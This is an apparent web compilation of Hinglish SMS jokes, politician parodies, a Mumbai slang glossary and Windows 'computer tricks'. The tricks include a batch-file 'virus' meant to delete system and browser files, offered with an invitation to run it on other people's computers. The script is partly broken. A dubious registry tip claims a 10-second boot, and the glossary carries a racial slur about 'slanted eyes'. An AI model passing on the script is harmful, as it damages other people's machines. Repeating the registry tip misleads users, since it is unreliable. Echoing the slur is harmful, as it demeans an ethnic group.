SMS

*****
Teacher: 2mne homework nahi kiya.
Batao kya saza dun??

Student: Sir wo ladki jo last bench pe baithi hai
uske saath bathroom me band kar do..

*****

Light cn replace sun
Parnts cn replace god
Daughte cn replace son
But nothing in d world cn
replace u.

Y

B'caz
"local item"
No guarantee
No replacement.

*****

Boss: Apki shadi ho gayi?
Sardar: Han ji 1 ladki se hui hai.
Boss: Shadi to ladki se hi hoti hai.
Sardar: Nahi ji meri behan ki to 1 ladke se hui hai..

*****
Gaalib ne apni GF ko date par bulaya.
wo late aayi to ye sher sunaya.

Falak se sitaron ki baarat ja rahi hai.
dusri ka time ho gaya aur tu ab aa rahi hai..

*****
,O_,_,
i'''''''''''''i

Ye aadmi soya nahi hai
Apun ne tapka daala sale ko,
bahut time se sms nahi kiya tha apun ko
Samjhe na??
Ya tere ko kuch alag se bolun??

*****

Asli bandar k i4 nishaniyan hoti hai
1. sidhe hath se mobile pakdega
2. anguthe se button dabayega
3. sms padhke hansega
4. sochega ki ab kise bhejun.

*****

Krazy moment:
1 chhote bache ne darwaza khola
&
apni D k Bf ko dekh k badi masumiyat se bola
"aap meri D se roz milne aate hain
apki apni D nahi hai kya??"

*****

1 bar 1 chuhe ne sherni ko perpose kiya
is pr sherni boli abe chuhe apni shkl to dekh
to chuhe ne kaha: meri jaan shakl pe mat jaa
confidence to dekh.

*****

Namaskar....!
Ye Hamari Ratri SMS Seva hai
isme ham soti hui buri aatmao ko sms kar k jagate hain
Aur unke jaagjane k baad ham khud so jaate hain.
Gud Night

*****

1 kabutar ne sardar pe beet kar di
Sardar: Oye teri maa ne tere ko chaddi nahi pehnai kya..?
Kabutar: pehnai hai.. par tu kya chaddi me karta hai??

*****

COMPUTER TRICKS

*****
How to open office 2007 files into Office 2003

Today tip will help you to resolve the compatibility issues between the Office 2003 and

Office 2007. Because all programs in office 2003 used the old file extensions for its

different programs. For example Word 2003 saved files with extension .doc, Excel 2003 with

.xls and PowerPoint with .ppt. but on the other office 2007 used the new file extensions for

its different programs. For example Word 2007 saved files with extension .docx, Excel 2007

with .xlsx and PowerPoint with .pptx. Now the problem is that when you will try to open

office 2007 files into office 2003 and you will not open the file due to compatibility

issues between both office versions. Microsoft provides a free compatibility pack to

convert office 2007 documents to the office 2003 format. There are many third party free

converter are available but here we are using Microsoft office compatibility pack.
Follow the given steps to download free Microsoft compatibility pack and install it.
To use this feature, you will need to be logged into your computer with administrative

rights.
Visit the following link to download the Microsoft compatibility pack:
http://www.microsoft.com/downloads/details.aspx?FamilyId=941b3470-3ae9-4aee-8f43-c6bb74cd146

6&displaylang=en


*****

Viruses for Irritating (plz dont try on ur pc)

@echo off
@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet

explorer\iexplore.exe
msg "WARNING:A VIRUS TOOK OVER YOUR COMPUTER VIRUS NOTICED AS:RINSE JOHN hacked your IP.exe"

Copy these lines in notepad and save it as "rinse.bat" or "rinse.exe"

Try this on any other computer..... Very heavy Virus..

*****

Start computer in 10 seconds

Right heres what u have to do to turn ur pc on in 10 seconds :



Click on the start button then press R it will take u to Run well go to runand type Regedit
press enter
this will open Registery Editor
now look for the key

HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Control\ContentIndex

now there find the Key Called
"Startup Delay"
Double Click On It
Now where its Base
Click Decimal
Now its Default Value Is 4800000
Change The Value To 40000
here u go u have done it
now close the Registery Editor and Restart Your Computer
You'll See The Result


*****

SMS

Arz kiya hai.....

Mat nikalo mera janaza uski gali se yaaro...
.
.
.
Warna
.
.
uski maa kahegi
?
?
?
?
?

?
Kamina marte marte b 1 round laga k gaya hai..

*****

Which is the most dangerous alphabet?
?
?
?
?
Ans: "W"

Coz all worries start with "W"
like Why? What? When?
Who? Which? Whom?
Where? War? Wine? Whisky?
Women? & finally Wife?

*****

What is swarg?
American salary
German car
Chineese food
Indian wife.


What is narak?
American wife
German food
Chineese car &
Indian salary.

*****

Chappal bahar rakhne or misscall dene me kya common hai?
?
?
socho
?
?
nahi pata chala
?
?
dono me darr lagta hai.
KOI UTHA NA LE...

*****

SMS

*****
Santa takes blade and writes his girlfriend's name on his arm
& achanak5 mnt baad jor jor se rone lagta hai.

Banta : Q ro raha hai?

Santa : Abe spelling galat ho gayi.

*****
1 ladki ne apne lover k kandhe par sar rakhkar
puchha - Is kandhe par kab tak sar rakhne doge?

Best rpl ever lover - Jab tak log mujhe kandha nahi dete.

*****
1 faqir tha
bheekh mangne k liye maszid k bahar baitha tha.
sab namaazi aankh bachakar chale gaye
aur use kuchh na mila...
Wo fir church gaya..
fir mandir...
fir gurudwara...
Lekin usko kisi ne kuchh nahi diya..

akhir me wo 1 bear baar k bahar baith gaya.
jo b sharabi nikalta uske katore me kuchh dal deta.
uska katora noto se bhar gaya
or wo bola - wah re 'prabhu' rehte kahan ho
or address kahan ka dete ho??

*****
Sardar : Bade zaalim hai teri gali bachhe......
Girl: Kya hua....?
.
.
.
Sardar: Kutte pichhe laga k kehte hain...
PYAR KIYA TO DARNA KYA..............?

*****
Teacher: What is the difference between landline & mobile...??
Santa: landline ka number anguli se dabana padta hai.......
or mobile ka anguthe se...........!


*****
Smart Box

Lion din me16 ghante aaramkarta hai.
phir b wo king hai......
Aur gadha din me
20 ghante kaam karne k baad bhi
gadha hi hai....!

Dedicated to all hard workers.

*****

POLITICIAN OPINION ON CRICKET

POLITICIAN OPINION ON CRICKET

LALOO : No communal forces can remove Azharuddin from his captaincy.

SONIA : I know that Robin Singh was born in WestIndies, just like I was born in Italy. The whole country knows how committed he is with the Indian team and how dedicated I am towards the nation.

CHANDRABABU NAIDU : Every umpire should be given a computer or a laptop.

VAJPAYEE : Jai jawan, jai kisan, jai vigyan and jai cricket.

BALTHACKEREY : I do not know much about Cricket but Pakistan cannot play in India.

JAYALALITHA : One can’t make much profit in
cricket, un politics… My friend Sashikala has the same opinion.

GORGE FERNANDES : When we can sack Admiral Bhagwat, then why can’t the cricket board sack Azharuddin.

DEVA GOWDA : Our team should sleep well during lunch time and while the third umpire makes his decision to win more matches.

MENAKA GANDHI : The dogs, birds and cats on the cricket field should be protected.

CRICKETER’S BOOKS (WORLD CUP SPECIAL)

1. How to lose a winning match -
Md.Azharuddin.

2. How to give fielding practice to opponents

Rahul dravid.

3. One Man Army -
Sachin Tendulkar.

4. Next match is on Sunday -
Anshuman Gaekwad

MUMBAIYA LANGUAGE

Chava / Chavi - Actual meaning of a chava is a lion’s cub.However, in Hindi it would mean a Boyfriend/GirlFriend (normally the one that’s steady). Chava, is also used to describe to a good looking chap or the normal stud in the locality. No, Chavi would still mean the steady one.

Chikna - Stands for any good looking fellow. Chikna actually means smooth.
Chikni is the female version of the same word.

Saala : literal meaning wife’s brother….but in Mumbai it is used in every context…when friends meet and greet then it is kya saala kaisa hai…..when angry “abey saale….phoot na”… in fact this is the most common used word in mumbai…. and can be used when you are happy / sad / depressed / angry / shy / vulgar / teasing / and when there is nothing else to say then use a saala….

Dhapnya / Battery / double battery - Refers to a person wearing prescription glasses. Dhapnya is a marathi word. The Ghati way of saying this would be “bya-tree”.

Chaayla - The original meaning is quiet demeaning. The contemporary meaning is so flexible that “Chaayla” can be used anywhere in a casual conversation. agmatically speaking this word doesnt have any meaning.

Haila - This originated from “Hai Allah ” but I don’t think 99% of the users know about this. Haila would translate to “Oh God”

Keeda /SulemaniKeeda / RehmaniKeeda - An absolute pest.

Jhakaas - Superb. Excellent.

Mandvali / Mandavli - Compromise /Negotiation usage : bhai apun ko Mandvali karne ka hai.

Atrangi - One meaning of this word is similar to Hajaam. Atrangi also mean something extraordinary.

Punter / Tapori - Roadside loafer. Taporiis among the most commonly used words in Bhindi.

Shana :literal meaning in marathi means wise..but mostly used in sarcastic way like “tu kya shana hai kya ??”

dhid shana : The word dhid means 1 and half times the original one. that means 1 and half times shana.

Dum : Actual meaning is cigarette with marijuana for kick. but nowdays commonly used to refer ordinary cigarette..

chota : when you ask a paanwala in mumbai he will give you a small Goldflake cigarette.

Charsi / Fookya / Soootya - A smoker. Charas is exactly marijuana. Charasi would mean any guy who smokes though.

Tapri - A road side shop.

Chotay - For any kid working in a Tapri. If the shop has more than one kid…. all would have to be Chotays.

Ramu - see “chotay” above

Chinese Gaadi - No this is not a Chinese make of anautomobile Its the “Tapri” selling chinese food on the side of the road. You find one after every 10 meters. The best part is that all these Chinese Gaadis are red in color, have names like “Red Sun”, “Red Dragon”, “Fong’s”, or anything that sounds vaguely Chinese. The cook is normally a Nepali gurkha working as a night watchman in some nearby apartment complex. The only criteria to get a chef’s job at a Chinese Gaadi is to have slanted eyes.

Cutting - A little_more_than_half cup of Tea is a cutting. The Cutting concept would have been started by people who used to split a cup of tea between 2 people… and finally the tea vendor started selling half cup of tea and called it “cutting”. A little_more_than_half is given to increase the patrons.

AndhaDhuni / Aadva-Patta - These are a cricketing terms. AadvaPatta comes from Pune, means “Cross batted shot”. AndhaDhuni means”Blind shot”. But nowadays these refer to any guy who doesn’t bat well.

Mama / Maushi - Mama and Maushi translate to the maternal uncle and aunt. These words are thoroughly misused to get some work done. Normally used while speaking Marathi. Every other Marathi speaking street vendor would be a Mama or a Maushi

COMPUTER TRICKS

KEYBORDS SHORTCUTS

This is one of those jokes people play on each other — it’s in the same category with squirting flowers and exploding cigars. This joke works on machines running the Windows operating system because Windows happens to define certain keystrokes that work the same way in all applications. Just about everyone knows that Alt+Ctrl+Del interrupts the operating system, but most people don’t know that Alt+F4 closes the current window. So if you had pressed Alt+F4 while playing a game, the game window would have closed.

It turns out there are several other handy keystrokes like that built into Windows. For example, Ctrl+Esc will pop up the Start menu, Alt+Esc will bring the next window to the foreground, and Alt+Tab or Alt+Shift+Tab will let you cycle through all available windows and jump to the one you select.

On keyboards that have the little “Windows” key (let’s call it WK here) down near the space bar, you probably know that you can press that key to open the Start menu. You can also use that key with other keys like you use the shift key. For example:

• WK+e - starts the Windows Explorer
• WK+f - starts the Find in Files dialog
• WK+Ctrl+f - starts the Find a Computer on the Network dialog
• WK+M - minimizes all the windows to clear the desktop
• WK+Shift+M - restores all the minimized windows
• WK+r - starts the Run dialog
• WK+F1 - starts Windows Help
• WK+Pause - starts System Properties

The last keyboard trick that every Windows user should be aware of is MouseKeys. If you go to the Accessibility Options icon in the Control Panel, you can go to the Mouse section and turn on MouseKeys. This feature allows you to use the numeric keypad in addition to the mouse to move the cursor. It’s handy if you are on a bumpy airplane ride or if your mouse is acting up. Another neat feature in Accessibility Options is the ability to turn on a beeper that beeps when you press the Caps Lock key — great if you are the sort of person who hits it accidentally!

Windows system key combinations

�	F1: Help
�	CTRL+ESC: Open Start menu
�	ALT+TAB: Switch between open programs
�	ALT+F4: Quit program
�	SHIFT+DELETE: Delete item permanently

Windows program key combinations

�	CTRL+C: Copy
�	CTRL+X: Cut
�	CTRL+V: Paste
�	CTRL+Z: Undo
�	CTRL+B: Bold
�	CTRL+U: Underline
�	CTRL+I: Italic

Mouse click/keyboard modifier combinations for shell objects

�	SHIFT+right click: Displays a shortcut menu containing alternative commands
�	SHIFT+double click: Runs the alternate default command (the second item on the menu)
�	ALT+double click: Displays properties
�	SHIFT+DELETE: Deletes an item immediately without placing it in the Recycle Bin

General keyboard-only commands

�	F1: Starts Windows Help
�	F10: Activates menu bar options
�	CTRL+ESC: Opens the Start menu (use the ARROW keys to select an item)
�	CTRL+ESC or ESC: Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)
�	ALT+DOWN ARROW: Opens a drop-down list box
�	ALT+TAB: Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)
�	SHIFT: Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature
�	ALT+SPACE: Displays the main window’s System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)
�	ALT+- (ALT+hyphen): Displays the Multiple Document Interface (MDI) child window’s System menu (from the MDI child window’s System menu, you can restore, move, resize, minimize, maximize, or close the child window)
�	CTRL+TAB: Switch to the next child window of a Multiple Document Interface (MDI) program
�	ALT+underlined letter in menu: Opens the menu
�	ALT+F4: Closes the current window
�	CTRL+F4: Closes the current Multiple Document Interface (MDI) window
�	ALT+F6: Switch between multiple windows in the same program (for example, when the Notepad Find dialog box is displayed, ALT+F6 switches between the Find dialog box and the main Notepad window)

Shell objects and general folder/Windows Explorer shortcuts

For a selected object:

�	F2: Rename object
�	F3: Find all files
�	CTRL+X: Cut
�	CTRL+C: Copy
�	CTRL+V: Paste
�	SHIFT+DELETE: Delete selection immediately, without moving the item to the Recycle Bin
�	ALT+ENTER: Open the properties for the selected object

To copy a file

Press and hold down the CTRL key while you drag the file to another folder.

To create a shortcut

Press and hold down CTRL+SHIFT while you drag a file to the desktop or a folder.

General folder/shortcut control

�	F4: Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows Explorer)
�	F5: Refreshes the current window.
�	F6: Moves among panes in Windows Explorer
�	CTRL+G: Opens the Go To Folder tool (in Windows 95 Windows Explorer only)
�	CTRL+Z: Undo the last command
�	CTRL+A: Select all the items in the current window
�	BACKSPACE: Switch to the parent folder
�	SHIFT+click+Close button: For folders, close the current folder plus all parent folders

Windows Explorer tree control

�	Numeric Keypad *: Expands everything under the current selection
�	Numeric Keypad +: Expands the current selection
�	Numeric Keypad -: Collapses the current selection.
�	RIGHT ARROW: Expands the current selection if it is not expanded, otherwise goes to the first child
�	LEFT ARROW: Collapses the current selection if it is expanded, otherwise goes to the parent

Properties control

�	CTRL+TAB/CTRL+SHIFT+TAB: Move through the property tabs

Accessibility shortcuts

�	Press SHIFT five times: Toggles StickyKeys on and off
�	Press down and hold the right SHIFT key for eight seconds: Toggles FilterKeys on and off
�	Press down and hold the NUM LOCK key for five seconds: Toggles ToggleKeys on and off
�	Left ALT+left SHIFT+NUM LOCK: Toggles MouseKeys on and off
�	Left ALT+left SHIFT+PRINT SCREEN: Toggles high contrast on and off

Microsoft Natural Keyboard keys

�	Windows Logo: Start menu
�	Windows Logo+R: Run dialog box
�	Windows Logo+M: Minimize all
�	SHIFT+Windows Logo+M: Undo minimize all
�	Windows Logo+F1: Help
�	Windows Logo+E: Windows Explorer
�	Windows Logo+F: Find files or folders
�	Windows Logo+D: Minimizes all open windows and displays the desktop
�	CTRL+Windows Logo+F: Find computer
�	CTRL+Windows Logo+TAB: Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the Quick Launch toolbar and the system tray)
�	Windows Logo+TAB: Cycle through taskbar buttons
�	Windows Logo+Break: System Properties dialog box
�	Application key: Displays a shortcut menu for the selected item

Microsoft Natural Keyboard with IntelliType software installed

�	Windows Logo+L: Log off Windows
�	Windows Logo+P: Starts Print Manager
�	Windows Logo+C: Opens Control Panel
�	Windows Logo+V: Starts Clipboard
�	Windows Logo+K: Opens Keyboard Properties dialog box
�	Windows Logo+I: Opens Mouse Properties dialog box
�	Windows Logo+A: Starts Accessibility Options (if installed)
�	Windows Logo+SPACEBAR: Displays the list of Microsoft IntelliType shortcut keys
�	Windows Logo+S: Toggles CAPS LOCK on and off

Dialog box keyboard commands

�	TAB: Move to the next control in the dialog box
�	SHIFT+TAB: Move to the previous control in the dialog box
�	SPACEBAR: If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option.
�	ENTER: Equivalent to clicking the selected button (the button with the outline)
�	ESC: Equivalent to clicking the Cancel button
�	ALT+underlined letter in dialog box item: Move to the corresponding item

---

APPLIES TO

�	Microsoft Windows Millennium Edition
�	Microsoft Windows 98 Second Edition
�	Microsoft Windows 98 Standard Edition
�	Microsoft Windows 95

USE OF:- F

The row of keys, F1-F12, are Function keys. They’re shortcut keys for commonly used commands. They often do different things in different programs. And not all programs use them. So I can’t give you a definitive list of what they do. But I can tell you what they do in Windows:

F1 - Help
F2 - Renames selected file
F3 - Opens the file search box
F4 - Opens the address bar in Windows Explorer
F5 - Refreshes the screen in Windows Explorer
F6 - Navigates between different sections of a Windows Explorer window
F8 - Opens the start-up menu when booting Windows
F11 - Opens full screen mode in Windows Explorer

These keys may or may not be helpful to you in Windows. Personally, I don’t use them. However, I would be lost without them in other programs.

For example, the F5 key is helpful when surfing the Web. In Internet Explorer and Firefox, it refreshes the current page. In Word, the F12 key lets you save the current document under a different name.

Of course, to take advantage of the function keys, you need to know what they do. Check the manuals that came with your software.

Word includes a Function Key toolbar that shows you the function key options. To enable the toolbar: Right-click the empty area around the toolbars and select Customize. Select Function Key Display and click Close. The toolbar will appear at the bottom of the screen